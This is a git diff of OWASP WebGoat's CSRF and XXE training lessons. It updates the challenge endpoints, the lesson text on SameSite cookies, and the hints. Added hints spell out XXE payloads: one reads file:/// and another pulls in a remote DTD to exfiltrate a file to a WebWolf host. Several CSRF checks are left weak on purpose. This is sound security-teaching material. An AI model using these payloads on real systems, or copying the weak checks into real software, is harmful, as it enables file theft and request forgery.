diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java index 5710a799e2..4cf8f22eb2 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFConfirmFlag1.java @@ -14,19 +14,23 @@ */ @AssignmentPath("/csrf/confirm-flag-1") -@AssignmentHints({"csrf-get.hint1","csrf-get.hint2","csrf-get.hint3","csrf-get.hint4"}) +@AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"}) public class CSRFConfirmFlag1 extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @PostMapping(produces = {"application/json"}) - public @ResponseBody AttackResult completed(String confirmFlagVal) { + public @ResponseBody + AttackResult completed(String confirmFlagVal) { - if (confirmFlagVal.equals(userSessionData.getValue("csrf-get-success").toString())) { - return success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build(); + Object userSessionDataStr = userSessionData.getValue("csrf-get-success"); + if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) { + return trackProgress( + success().feedback("csrf-get-null-referer.success").output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")).build() + ); } - return failed().feedback("").build(); + return trackProgress(failed().build()); } } diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java index 2fdce69588..0acd8bbfeb 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFFeedback.java @@ -40,7 +40,7 @@ public AttackResult completed(HttpServletRequest request, @RequestBody String fe try { objectMapper.readValue(feedback.getBytes(), Map.class); } catch (IOException e) { - return failed().feedback(ExceptionUtils.getStackTrace(e)).build(); + return failed().feedback(ExceptionUtils.getStackTrace(e)).build(); } boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().equals(MediaType.TEXT_PLAIN_VALUE); correctCSRF &= hostOrRefererDifferentHost(request); @@ -64,8 +64,12 @@ public AttackResult flag(@RequestParam("confirmFlagVal") String flag) { private boolean hostOrRefererDifferentHost(HttpServletRequest request) { String referer = request.getHeader("referer"); - String host = request.getHeader("host"); - return !StringUtils.contains(referer, host); + String origin = request.getHeader("origin"); + if (referer != null) { + return !referer.contains(origin); + } else { + return true; //this case referer is null or origin does not matter we cannot compare so we return true which should of course be false + } } private boolean requestContainsWebGoatCookie(Cookie[] cookies) { diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java index 56fdde8d66..ecc486b7f4 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetFlag.java @@ -31,7 +31,7 @@ public class CSRFGetFlag extends Endpoint { @ResponseBody public Map invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - Map response = new HashMap<>(); + Map response = new HashMap<>(); String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); // String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin"); @@ -40,22 +40,32 @@ public Map invoke(HttpServletRequest req, HttpServletResponse re String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); String[] refererArr = referer.split("/"); - if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) { - Random random = new Random(); - userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); - } else if (refererArr[2].equals(host)) { + + + if (referer.equals("NULL")) { + if (req.getParameter("csrf").equals("true")) { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } else { + Random random = new Random(); + userSessionData.setValue("csrf-get-success", random.nextInt(65536)); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); + } + } else if (refererArr[2].equals(host)) { response.put("success", false); response.put("message", "Appears the request came from the original host"); response.put("flag", null); } else { Random random = new Random(); userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); + response.put("success", true); + response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); + response.put("flag", userSessionData.getValue("csrf-get-success")); } return response; diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetXhrFlag.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetXhrFlag.java deleted file mode 100644 index f7f2e246d4..0000000000 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFGetXhrFlag.java +++ /dev/null @@ -1,69 +0,0 @@ -package org.owasp.webgoat.plugin; - -import org.owasp.webgoat.assignments.Endpoint; -import org.owasp.webgoat.i18n.PluginMessages; -import org.owasp.webgoat.session.UserSessionData; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestMethod; -import org.springframework.web.bind.annotation.ResponseBody; - -import javax.servlet.ServletException; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import java.util.HashMap; -import java.util.Map; -import java.util.Random; - -/** - * Created by jason on 9/30/17. - */ - -public class CSRFGetXhrFlag extends Endpoint { - - @Autowired - UserSessionData userSessionData; - @Autowired - private PluginMessages pluginMessages; - - @RequestMapping(produces = {"application/json"}, method = RequestMethod.GET) - @ResponseBody - public Map invoke(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - - Map response = new HashMap<>(); - - String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); -// String origin = (req.getHeader("origin") == null) ? "NULL" : req.getHeader("origin"); -// Integer serverPort = (req.getServerPort() < 1) ? 0 : req.getServerPort(); -// String serverName = (req.getServerName() == null) ? "NULL" : req.getServerName(); - String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); - String[] refererArr = referer.split("/"); - - if (referer.equals("NULL") && req.getParameter("csrf").equals("true")) { - Random random = new Random(); - userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-null-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); - } else if (refererArr[2].equals(host)) { - response.put("success", false); - response.put("message", "Appears the request came from the original host"); - response.put("flag", null); - } else { - Random random = new Random(); - userSessionData.setValue("csrf-get-success", random.nextInt(65536)); - response.put("success",true); - response.put("message",pluginMessages.getMessage("csrf-get-other-referer.success")); - response.put("flag",userSessionData.getValue("csrf-get-success")); - } - - return response; - - } - - @Override - public String getPath() { - return "/csrf/get-xhr-flag"; - } -} diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java index b3305b4151..f27684843c 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/ForgedReviews.java @@ -115,22 +115,13 @@ public AttackResult createNewReview (String reviewText, Integer stars, String va userReviews.put(webSession.getUserName(), reviews); //short-circuit if (validateReq == null || !validateReq.equals(weakAntiCSRF)) { - return failed().feedback("csrf-you-forgot-something").build(); + return trackProgress(failed().feedback("csrf-you-forgot-something").build()); } //we have the spoofed files if (referer != "NULL" && refererArr[2].equals(host) ) { - return (failed().feedback("csrf-same-host").build()); + return trackProgress(failed().feedback("csrf-same-host").build()); } else { - return (success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure") - } - } - - private Review parseJson(String comment) { - ObjectMapper mapper = new ObjectMapper(); - try { - return mapper.readValue(comment, Review.class); - } catch (IOException e) { - return new Review(); + return trackProgress(success().feedback("csrf-review.success").build()); //feedback("xss-stored-comment-failure") } } } diff --git a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html b/webgoat-lessons/csrf/src/main/resources/html/CSRF.html index 0e56a7c311..fc74634611 100644 --- a/webgoat-lessons/csrf/src/main/resources/html/CSRF.html +++ b/webgoat-lessons/csrf/src/main/resources/html/CSRF.html @@ -15,6 +15,7 @@
@@ -26,10 +27,12 @@
+
+
- +
+
+
+
@@ -56,9 +62,9 @@ -
-
+ +
@@ -133,65 +139,71 @@
24 days ago
padding: 7px; margin-top:7px; padding:5px;"> -
-
-
-
-
-
-
-
-
- - -
-
- -
+
+
+
+
+
+
+ +
+
+
+ + +
+
+ +
-
+
+
+
+ + +
-
- - +
+
+ + +
-
-
-
- - +
+
-
- -
-
- + +
+
+
@@ -211,7 +223,6 @@
24 days ago
-
diff --git a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties index 5571650f5c..81ac024956 100644 --- a/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/csrf/src/main/resources/i18n/WebGoatLabels.properties @@ -20,7 +20,7 @@ csrf-review-hint3=This one has a weak anti-CSRF protection, but you do need to o csrf-feedback-hint1=Look at the content-type. csrf-feedback-hint2=Try to post the same message with content-type text/plain -csrf-feedback-hint3=The json can be put into a hidden field inside +csrf-feedback-hint3=The json can be put into a hidden field inside csrf-feedback-invalid-json=Invalid JSON received. csrf-feedback-success=Congratulations you have found the correct solution, the flag is: {0} diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc index dff9a78c19..43b9d31f62 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Frameworks.adoc @@ -13,9 +13,14 @@ match and this will ensure the server the request is running on the same domain. Remember the session cookie should always be defined with http-only flag. -Another effective defense can be to add a custom request header to each call. This will work if all the interactions +== Custom headers not safe + +Another defense can be to add a custom request header to each call. This will work if all the interactions with the server are performed with JavaScript. On the server side you only need to check the presence of this header if this header is not present deny the request. +Some frameworks offer this implementation by default however researcer Alex Infuhr found out that this can be bypassed +as well. You can read about: http://insert-blogspot.nl/2018/05/adobe-reader-pdf-client-side-request.html?m=1[Adobe Reader PDF - Client Side Request Injection] + diff --git a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc index f1faab81b8..c6ef48c1cd 100644 --- a/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc +++ b/webgoat-lessons/csrf/src/main/resources/lessonPlans/en/CSRF_Impact_Defense.adoc @@ -4,7 +4,20 @@ The impact is limited only by what the logged in user can do (if the site/functi The areas that are really prone to CSRF attacks are IoT devices and 'smart' appliances. Sadly, many consumer-grade routers have also proven vulnerable to CSRF. -== CSRF Solution +== CSRF solutions + +=== Same site cookie attribute + +This is a new extension which modern browsers support which limits the scope of the cookie such that it will only be +attached to requests if those requests are 'same-site' +For example requests for `http://webgoat.org/something` will attach same-site cookies if the request is initiated from +`webgoat.org`. +There are two modes, strict and lax. The first one does not allow cross site request, this means when you are on +github.com and you want to like it through Facebook (and Facebook specifies same-site as strict) you will be +redirected to the login page, because the browser does not attach the cookie for Facebook. +More information can be found here: www.sjoerdlangkemper.nl/2016/04/14/preventin-csrf-with-samesite-cookie-attribute/ + +=== Other protections Fortunately, many (web) application frameworks now come with built in support to handle CSRF attacks. For example, Spring and Tomcat have this on by default. As long as you don't turn it off (like it is in WebGoat), you should be safe from CSRF attacks. diff --git a/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java b/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java index 98c44077f0..495a2cf9ba 100644 --- a/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java +++ b/webgoat-lessons/csrf/src/test/java/org/owasp/webgoat/plugin/CSRFFeedbackTest.java @@ -46,13 +46,10 @@ public void csrfAttack() throws Exception { mockMvc.perform(post("/csrf/feedback/message") .contentType(MediaType.TEXT_PLAIN) .cookie(new Cookie("JSESSIONID", "test")) - .header("host", "localhost:8080") + .header("origin", "localhost:8080") .header("referer", "webgoat.org") .content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}")) .andExpect(jsonPath("lessonCompleted", is(true))) .andExpect(jsonPath("feedback", StringContains.containsString("the flag is: "))); } - - - } \ No newline at end of file diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java index 750aaf8768..9f48290cf2 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java @@ -4,6 +4,7 @@ import com.google.common.io.Files; import lombok.SneakyThrows; import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; import org.springframework.beans.factory.annotation.Autowired; @@ -49,6 +50,7 @@ * @since November 18, 2016 */ @AssignmentPath("xxe/blind") +@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"}) public class BlindSendFileAssignment extends AssignmentEndpoint { static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")"; diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java index 0cc4f0069c..acbdeaa688 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java @@ -51,7 +51,7 @@ * @since 4/8/17. */ @AssignmentPath("xxe/simple") -@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"}) +@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"}) public class SimpleXXE extends AssignmentEndpoint { private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; diff --git a/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties index 5ef01ab9db..9af5a63009 100644 --- a/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties @@ -30,9 +30,17 @@ xxe.content.output=Welcome {0} you can now login to our website xxe.blind.output=Contents of the file is: {0} xxe.hints.simple.xxe.1=Try submitting the form and see what happens -xxe.hints.simple.xxe.2=XXE stands for XML External Entity attack -xxe.hints.simple.xxe.3=Try to include your own DTD -xxe.hints.simple.xxe.4=Try to include a doctype "(<!DOCTYPE...)" in the xml +xxe.hints.simple.xxe.2=Use ZAP/Burp to intercept the request and try to include your own DTD +xxe.hints.simple.xxe.3=Try to include a doctype "(<!DOCTYPE...)" in the xml +xxe.hints.simple.xxe.4=The include can be as follows: <!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]> +xxe.hints.simple.xxe.5=Do not forget to reference the entity +xxe.hints.simple.xxe.6=In the comment you should references: <comment><text>&root;test</text></comment> xxe.hints.content.type.xxe.1=Take a look at the content type -xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages? \ No newline at end of file +xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages? + +xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case) +xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities. +xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/ +xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment +xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:8081/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment> diff --git a/webgoat-lessons/xxe/src/main/resources/images/example.dtd b/webgoat-lessons/xxe/src/main/resources/images/example.dtd new file mode 100644 index 0000000000..9753b5c2f7 --- /dev/null +++ b/webgoat-lessons/xxe/src/main/resources/images/example.dtd @@ -0,0 +1,5 @@ + + +"> +%all; + ~ \ No newline at end of file diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc index 80b948ba4f..77d9cacc8e 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc +++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc @@ -3,5 +3,5 @@ In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about. So this might result in JSON endpoints being vulnerable to XXE attacks. -Again same exercise but try to perform the same XML injection as we did in first assigment. +Again same exercise but try to perform the same XML injection as we did in first assignment. diff --git a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java index c78293daf3..4efbca7c48 100644 --- a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java +++ b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java @@ -71,6 +71,7 @@ public void wrongXmlShouldGiveErrorBack() throws Exception { @Test public void solve() throws Exception { File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt"); + //Host DTD on WebWolf site String dtd = "\n" + "\n" + "\">\n" + @@ -80,6 +81,8 @@ public void solve() throws Exception { .withStatus(200) .withBody(dtd))); webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200))); + + //Make the request from WebGoat String xml = "" + "" +